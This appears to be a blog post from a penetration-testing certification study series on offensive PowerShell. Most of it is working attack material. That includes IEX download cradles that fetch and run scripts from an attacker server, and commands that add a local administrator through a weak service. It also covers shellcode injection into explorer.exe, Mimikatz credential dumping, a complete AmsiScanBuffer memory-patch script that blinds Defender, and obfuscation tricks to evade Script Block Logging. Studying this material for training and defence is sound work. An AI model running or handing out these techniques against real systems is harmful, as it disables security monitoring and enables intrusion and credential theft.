Post

eCPPT Deep-Dive: Part 10 - PowerShell for Pentesters: Offensive Ops & AMSI Evasion

An exhaustive technical breakdown of Part 10 of the eCPPT curriculum: offensive PowerShell mastery, object pipelines, the PowerSploit suite, in-memory AMSI architecture dissection, memory patching AmsiScanBuffer, and Abstract Syntax Tree (AST) obfuscation.

10 min read
views
visits
eCPPT Masterclass Part 10 - PowerShell for Pentesters: Offensive Ops & AMSI Evasion
eCPPT Masterclass Part 10 - PowerShell for Pentesters: Offensive Ops & AMSI Evasion

PowerShell is the ultimate weapon in a modern Windows penetration tester’s arsenal. By leveraging Living Off The Land (LotL) tradecraft, operators avoid dropping foreign compiled binaries onto disk that trigger alerts across Endpoint Detection and Response (EDR) platforms. PowerShell provides direct access to the underlying .NET Framework, the Windows Management Instrumentation (WMI / CIM) subsystem, and the Win32 API—all while running within a trusted, signed administrative process.

In this tenth and final installment of our comprehensive eCPPT (eLearnSecurity Certified Professional Penetration Tester) masterclass, we explore PowerShell from a strictly offensive perspective: deconstructing object pipelines and in-memory download cradles, weaponizing the PowerSploit ecosystem, and engineering in-memory patches against Microsoft’s Antimalware Scan Interface (AMSI).

Key Takeaways

  • The Offensive Power of Living Off The Land: PowerShell provides native, fileless memory execution capabilities, seamless integration with .NET reflection, and trusted status in enterprise management logging frameworks.
  • In-Memory Download Cradles: Using Invoke-Expression (IEX) coupled with System.Net.WebClient or Invoke-WebRequest, operators fetch and execute heavy offensive scripts directly into process RAM without writing a single byte to disk.
  • The PowerSploit Arsenal: A modular post-exploitation toolkit comprising reconnaissance (PowerView), privilege escalation checks (PowerUp), process injection (Invoke-Shellcode), and memory credential harvesting (Invoke-Mimikatz).
  • AMSI Internal Architecture: The Antimalware Scan Interface (amsi.dll) is dynamically loaded into every PowerShell process. Before executing script blocks, the engine passes buffers to the AmsiScanBuffer export, which forwards the content via RPC to Windows Defender.
  • In-Memory AMSI Patching: Because amsi.dll resides directly within the unprivileged process address space owned by the attacker, we use reflection and Win32 APIs (VirtualProtect) to patch the first 6 bytes of AmsiScanBuffer, forcing it to return E_INVALIDARG or AMSI_RESULT_CLEAN instantly, blinding antivirus scans for the remainder of the session!

1. PowerShell Architecture & Object Pipeline Mastery

Unlike traditional Unix shells that pass unstructured byte streams across pipes (|), PowerShell pipelines transmit fully typed .NET objects:

flowchart LR
    Cmdlet1["Get-Service<br/>(Emits System.ServiceProcess.ServiceController Objects)"] -->|Structured Object Stream| Pipe1["Pipeline (|)"]
    Pipe1 --> Cmdlet2["Where-Object Status -eq 'Running'<br/>(Evaluates Object Properties)"]
    Cmdlet2 --> Pipe2["Pipeline (|)"]
    Pipe2 --> Cmdlet3["Select-Object Name, DisplayName<br/>(Extracts Target Properties)"]

Tactical Commands for Execution Management:

1
2
3
4
5
6
7
8
9
# Check current Execution Policy restrictions
Get-ExecutionPolicy

# Spawn a completely unrestricted, non-interactive, hidden PowerShell process
powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden

# Offensive system enumeration via WMI and CIM
Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, OSArchitecture
Get-CimInstance Win32_UserAccount | Select-Object Name, SID, Disabled

2. In-Memory Download Cradles (Fileless Execution)

To prevent file-system endpoint detection, offensive scripts are hosted on an external web server and loaded directly into memory:

sequenceDiagram
    autonumber
    actor Attacker as Attacker HTTP Server (Kali: 10.10.14.5)
    actor Victim as PowerShell Process (powershell.exe)
    participant RAM as Process Working Memory (Heap)
    participant Defender as Windows Defender (AMSI Engine)
    
    Victim->>Attacker: WebClient requests script: DownloadString('http://10.10.14.5/PowerUp.ps1')
    Attacker-->>Victim: Returns raw script content across HTTP stream
    Victim->>Defender: AMSI intercepts buffer for signature scanning
    Note over Defender: If AMSI is unpatched: Blocks malicious script!
    Note over Victim: If AMSI is patched: Scans bypassed cleanly
    Victim->>RAM: IEX compiles and executes script directly in memory
    Victim->>Victim: Operator runs Invoke-AllChecks without touching disk!

Production Download Cradle Formats:

1
2
3
4
5
6
7
8
9
10
11
12
# 1. Classic WebClient Download Cradle
IEX (New-Object System.Net.WebClient).DownloadString('http://10.10.14.5:8000/PowerUp.ps1')

# 2. Modern Invoke-WebRequest Cradle (PowerShell 3.0+)
IEX (Invoke-WebRequest -Uri 'http://10.10.14.5:8000/PowerView.ps1' -UseBasicParsing).Content

# 3. Proxy-Aware Stealth Cradle with System Credentials
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent", "Mozilla/5.0")
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
IEX $wc.DownloadString('http://10.10.14.5:8000/exploit.ps1')

3. The PowerSploit Offensive Ecosystem

classDiagram
    class PowerSploit {
        +Reconnaissance
        +PrivilegeEscalation
        +CodeExecution
        +Exfiltration
    }
    class PowerView {
        +Get-DomainUser()
        +Get-DomainComputer()
        +Get-DomainTrust()
        +Find-LocalAdminAccess()
    }
    class PowerUp {
        +Invoke-AllChecks()
        +Get-UnquotedService()
        +Get-ModifiableServiceFile()
        +Write-UserAddMSI()
    }
    class CodeExecution {
        +Invoke-Shellcode()
        +Invoke-ReflectivePEInjection()
        +Invoke-DllInjection()
    }
    class Exfiltration {
        +Invoke-Mimikatz()
        +Invoke-NinjaCopy()
    }

    PowerSploit <|-- PowerView
    PowerSploit <|-- PowerUp
    PowerSploit <|-- CodeExecution
    PowerSploit <|-- Exfiltration

1. Active Directory Auditing via PowerView:

1
2
3
4
5
# Identify all members of the Domain Admins group
Get-NetGroupMember -GroupName "Domain Admins"

# Discover workstations where the current user holds local administrative rights
Find-LocalAdminAccess -Verbose

2. Privilege Escalation Auditing via PowerUp:

1
2
3
4
5
# Execute all local privilege escalation checks in a single command
Invoke-AllChecks

# If an insecure service is found, abuse it to add a local administrator
Write-ServiceExec -ServiceName "VulnerableService" -Command "net localgroup administrators attacker /add"

3. In-Memory Process Injection:

1
2
# Inject a reverse shell payload directly into an active explorer.exe process
Invoke-Shellcode -ProcessID (Get-Process explorer).Id -Shellcode @(0x90,0x90,0xcc...)

4. Credential Harvesting with Invoke-Mimikatz:

1
2
# Dump plaintext passwords and NTLM hashes directly from LSASS memory
Invoke-Mimikatz -DumpCreds

4. Antimalware Scan Interface (AMSI) Architecture

Introduced in Windows 10, AMSI is an interface standard that allows applications to integrate with the installed antivirus solution:

flowchart TD
    Script["PowerShell Script / Command / Obfuscated Base64"] --> PS["PowerShell Process Space (powershell.exe)"]
    
    subgraph ProcessMemory ["Virtual Process Memory (User Land)"]
        PS --> Engine["PowerShell Engine (System.Management.Automation.dll)"]
        Engine --> CallAMSI["Loads amsi.dll into current process"]
        
        subgraph AMSIDLL ["amsi.dll Module"]
            CallAMSI --> ScanBuffer["AmsiScanBuffer(amsiContext, buffer, length, appName, session, &result)"]
        end
    end

    ScanBuffer --> RPC["Local RPC Call"] --> Defender["Windows Defender Service (MsMpEng.exe)"]
    Defender --> EngineScan["Signature Analysis & Emulation Engine"]
    
    EngineScan --> Result{"Signature Match?"}
    Result -- Yes --> Block["Returns AMSI_RESULT_DETECTED (32768) -> Script Blocked!"]
    Result -- No --> Clean["Returns AMSI_RESULT_CLEAN (0) -> Execution Allowed"]

5. In-Memory AMSI Patching: Disabling Scans via Memory Hooking

Because amsi.dll runs in user-mode inside our own process space, our process has full permission to modify its own memory pages!

By using .NET reflection to resolve the virtual memory address of AmsiScanBuffer, changing page permissions to PAGE_EXECUTE_READWRITE via VirtualProtect, and overwriting the function prologue with assembly instructions that immediately return an error code (0x80070057 = E_INVALIDARG), AMSI is neutralized:

sequenceDiagram
    autonumber
    actor Attacker as PowerShell Execution Session
    participant Memory as Process Virtual Memory (amsi.dll)
    participant Function as AmsiScanBuffer Function Entry Point
    
    Attacker->>Memory: Resolve amsi.dll base address via GetModuleHandle
    Memory-->>Attacker: Address returned (e.g., 0x7FFA12340000)
    Attacker->>Memory: Resolve AmsiScanBuffer export address via GetProcAddress
    Memory-->>Attacker: Entry point returned: 0x7FFA12345678
    
    Attacker->>Memory: Call VirtualProtect -> Change page permission to Read-Write-Execute (0x40)
    Attacker->>Function: Write 6-byte patch: mov eax, 0x80070057 ; ret
    Attacker->>Memory: Restore original page protection (PAGE_EXECUTE_READ)
    
    Note over Function: AmsiScanBuffer is now patched!
    Attacker->>Function: Invoke malicious script (e.g., Invoke-Mimikatz)
    Function-->>Attacker: Instantly returns error code; bypasses Defender completely!

Complete In-Memory AMSI Patching Script (x64 Architecture):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$Win32 = @"
using System;
using System.Runtime.InteropServices;

public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Win32

# Load amsi.dll and resolve the exported AmsiScanBuffer address
$LoadLibrary = [Win32]::LoadLibrary("amsi.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "AmsiScanBuffer")

# Update memory page permissions to PAGE_EXECUTE_READWRITE (0x40)
$oldProtect = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$oldProtect)

# Patch with x64 assembly: mov eax, 0x80070057; ret
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

# Restore original memory protection
[Win32]::VirtualProtect($Address, [uint32]5, $oldProtect, [ref]$oldProtect)

Write-Host "[+] AMSI memory patch successfully applied! Defender is now blind in this session." -ForegroundColor Green

Executing this brief snippet disables AMSI evaluation for the lifetime of that process, enabling unobstructed execution of PowerSploit, Mimikatz, and custom payloads.


6. Abstract Syntax Tree (AST) Obfuscation via Invoke-Obfuscation

To bypass Script Block Logging (Event ID 4104) and heuristic detection engines, we leverage Daniel Bohannon’s Invoke-Obfuscation:

  1. Backtick Insertion & Concatenation:
    1
    
    & ( $eNV:cOmSpeC[4,15,25]-jOiN'') ( "W`ri`te-H`os`t 'Hacked'")
    
  2. Environment Variable Slicing:
    1
    2
    
    # Dynamically assemble cmdlets without using explicit string tokens
    $cmd = [string]::join('', (('tseT-evoknI')[('tseT-evoknI'.length-1)..0]))
    


Visual Architecture: Offensive PowerShell & AMSI Memory Hooking

The following technical diagram breaks down the PowerShell in-memory download cradle execution lifecycle, the PowerSploit modular ecosystem, and the internal memory patch applied to AmsiScanBuffer:

Offensive PowerShell & AMSI Evasion Architecture

Key Architectural Observations from the Diagram:

  1. The In-Memory Hook: Because amsi.dll is mapped into user-mode address space within the attacker’s powershell.exe process, no administrator rights are required to alter its memory protection. Calling VirtualProtect to make the memory page writable (0x40) allows us to overwrite the function entry point with mov eax, 0x80070057; ret (Hex: B8 57 00 07 80 C3).
  2. Defeating Script Block Logging: Script Block Logging (EID 4104) logs the full, unobfuscated code block immediately prior to execution. By using AST obfuscation via Invoke-Obfuscation or tampering with the internal ScriptBlockLogging registry/memory flags, operators prevent forensic audit logging from capturing command syntax.

Attack Chain Interconnection: Executing Fileless In-Memory Operations to Seal Complete Campaign Dominance

Offensive PowerShell is the execution medium that connects post-exploitation objectives across the enterprise:

flowchart LR
    Part9["Part 9: Client-Side Phishing Stager Execution"] -->|Spawns Hidden PowerShell| Part10["Part 10: In-Memory AMSI Patch Hook Applied"]
    Part10 -->|Loads PowerView in RAM| Part4["Part 4: Execute Kerberoasting & DCSync Attacks"]
    Part10 -->|Loads PowerUp in RAM| Part5["Part 5: Local Privilege Escalation Audit"]
    Part10 -->|Injects Shellcode into Explorer| Part7["Part 7: Persistent C2 Agent Communications"]
  • Connection to Part 4 (Active Directory): Using PowerView cmdlets (Get-DomainUser, Find-LocalAdminAccess), you conduct covert LDAP queries that bypass noisy port scanning.
  • Connection to Part 5 (Privilege Escalation): PowerUp.ps1 automates checking for unquoted service paths and weak service DACLs in a single memory invocation (Invoke-AllChecks).
  • Connection to Part 7 (Command & Control): In-memory download cradles ensure that C2 implants and staged beacons are fetched directly over HTTPS and executed without ever creating suspicious disk artifacts.

Categorized References & Authoritative Sources

1. Microsoft Architectural Documentation

2. Authoritative Offensive PowerShell Repositories

3. MITRE ATT&CK Enterprise Techniques


Author: Abdulrahman M. Fathi (0x3bdo) • Cyber Security Engineer & Penetration Tester

اللهم اجعل هذا العمل علمًا نافعًا وصدقةً جارية، واكتب لي به الأجر والقبول، وانفع به كل من قرأه أو تعلّمه.
اللهم احفظ لي والديّ وأهلي، وبارك في أعمارهم وصحتهم، وأدم عليهم نعمة الصحة والعافية، ولا تريني فيهم بأسًا يبكيني.
Dedicated as ongoing charity and beneficial knowledge. May Allah bless my parents and family, protect them, and grant them lasting health and happiness.

Search Results

0 matches
Type keywords, tool names (Frida, Burp, Ghidra), CVE numbers, or categories to search...